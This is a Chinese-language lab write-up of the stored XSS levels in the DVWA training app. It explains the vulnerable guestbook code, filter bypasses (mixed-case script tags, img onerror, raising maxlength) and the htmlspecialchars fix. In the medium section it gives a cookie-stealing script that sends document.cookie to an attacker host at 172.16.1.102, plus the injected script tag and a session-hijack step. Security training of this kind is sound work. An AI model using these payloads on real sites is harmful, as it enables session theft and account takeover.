
xss存储型简介
存储型(Stored Cross Site Scripting)相比反射性的危害范围较大,由于它直接别存放在数据库中,而后端每次将数据库内容输出的时候,都会触发,这种存储型xss常见于留言板、评论区等地方。假设某个网站的留言板存在获取cookie的payload,那么每个用户当访问这个网站的留言板时,即会触发,所以危害范围较大。
关于xss更多的简介,请参见我另一篇博客:https://www.giaoblog.com/target/25980.html
low等级
尝试在留言板中传入我们的XSS POC,留言板的内容一般会被存放在数据库,之后再做查询,从而展示到页面。

我们进入到dvwa的数据库,在guestbook表中发现我们插入的内容。
mysql> use dvwa;
Database changed
mysql>
mysql>
mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+
2 rows in set (0.00 sec)
mysql> select * from guestbook;
+------------+--------------------------------+------+
| comment_id | comment | name |
+------------+--------------------------------+------+
| 1 | This is a test comment. | test |
| 2 | <script>alert('xss');</script> | xss |
+------------+--------------------------------+------+
2 rows in set (0.00 sec)
而当一个用户进入到留言板页面时,就会触发我们的xss,我们这里新打开一个浏览器,将难度调为low,之后进入到留言板中。

由此看到,当每一个用户访问留言板的时候就会触发xss。
接下来,我们审计后端的代码,发现漏洞是如何产生的。

可以看到,这里并没有对输入的内容进行了过滤。而只是使用mysqli_real_escape_string函数防止了sql注入的产生,之后就被插入到了数据库。
mysqli_real_escape_string()转义受影响的字符为:\x00、 \n、 \r、 \、'、 "、\x1a
那么该函数是如何转义的呢,在特殊字符的前方加上\。假设我们传入的POC为<script>alert("xss")</script>,那么经过mysqli_real_escape_string()函数转义之后就为:

此时这种对于js来说是不合法的。因此不能输出,那么我们为什么能弹窗呢?这是由于带转移符的js代码,经过mysql插入数据库的时候,进行了转义,转义之后就为一个普通的字符串了(此时会剔除/)。之后写入到了数据库。

而此时在index.php中又执行了dvwaGuestbook()函数。

而该函数在dvwa/includes/dvwaPage.inc.php中定义着:

这里的代码就是将留言板的内容遍历输出到了页面当中。由于htmlspecialchars转义的条件需要难度为impossible级别的,我们现在是low级别,所以我们不会进行HTML实体编码转义。
于是就将下面的name列和comment列输出到了页面,而此时并没有任何转义字符存在。

又因为POC存储在数据库当中,每当一个用户请求的时候,都会去数据库查询留言板的内容,并进行输出,而浏览器是认识js代码,故产生了xss存储型的漏洞。

medium级别
这里进行了简单的尝试,发现对我们留言的内容进行了剔除<script></script>的处理,尝试了大小写绕过。仍然不行,之后使用<img src=# onerror=alert(/xss/)>仍然不行。猜测可能是剔除了HTML标记。

之后又尝试在用户名哪里进行测试payload:

这里默认只允许输入10个字符,把input标签的maxlength属性调高一点即可。

之后还是会剔除<script>标签,之后又尝试使用<img src=# onerror=alert(/xss/) />,发现成功弹窗。

但是在留言板使用img就不行,之后打开源码看了一下,解析如下:

发现这里对留言内容进行了层层过滤和转义,之后又进行了HTML实体编码,所以留言内容这里不存在xss注入。但是忽略了用户名这里。只是简单的使用了替换,有很多中方式可以绕过。于是本关卡的注入点在用户名这里。
以下为存入到数据库的留言内容:

以下为存储到数据库的用户信息:

完整无缺的被存入到了数据库,之后又将其输入到页面。因此xss漏洞就产生了。

构造语句,进行获取cookie攻击:
新建index.js放置在攻击者的网站根目录,内容如下:
var img = new Image();
img.src = "http://172.16.1.102:2333/index.php?cookie=" + document.cookie
之后使用nc(netcat,该工具kali自带,kali里面名称叫做nc)工具监听2333端口。

进入到dvwa靶场中构造payload:
<ScRipt src="http://172.16.1.102/index.js"></ScRipt>
注意这里对<script>进行了替换,可以使用双写绕过或者大小写混合绕过。

之后就获取到了cookie,我们这里打开Firefox浏览器,使用cookie进行登录。

在不登录的情况下,直接访问index.php会被跳转到login.php登录,当我们修改成获取到的cookie时,就不会跳转到登录页面。

Firefox插件Cookie Editor 点击下载。
high级别
这个跟上一关基本差不多,但是在用户名这里进行了正则匹配,使用了正则匹配从而进行替换。双写绕过和大小写绕过均失效。关于该正则表达式的介绍请参见:DVWA靶场 – xss 反射型

那么我们直接使用<img src=# onerror=alert(/xss/)>

impossible级别

在high的基础上为用户进行了转义,并且增加了htmlspecialchars()实体编码。有效的防止了xss漏洞的产生。
本文作者为blog,转载请注明。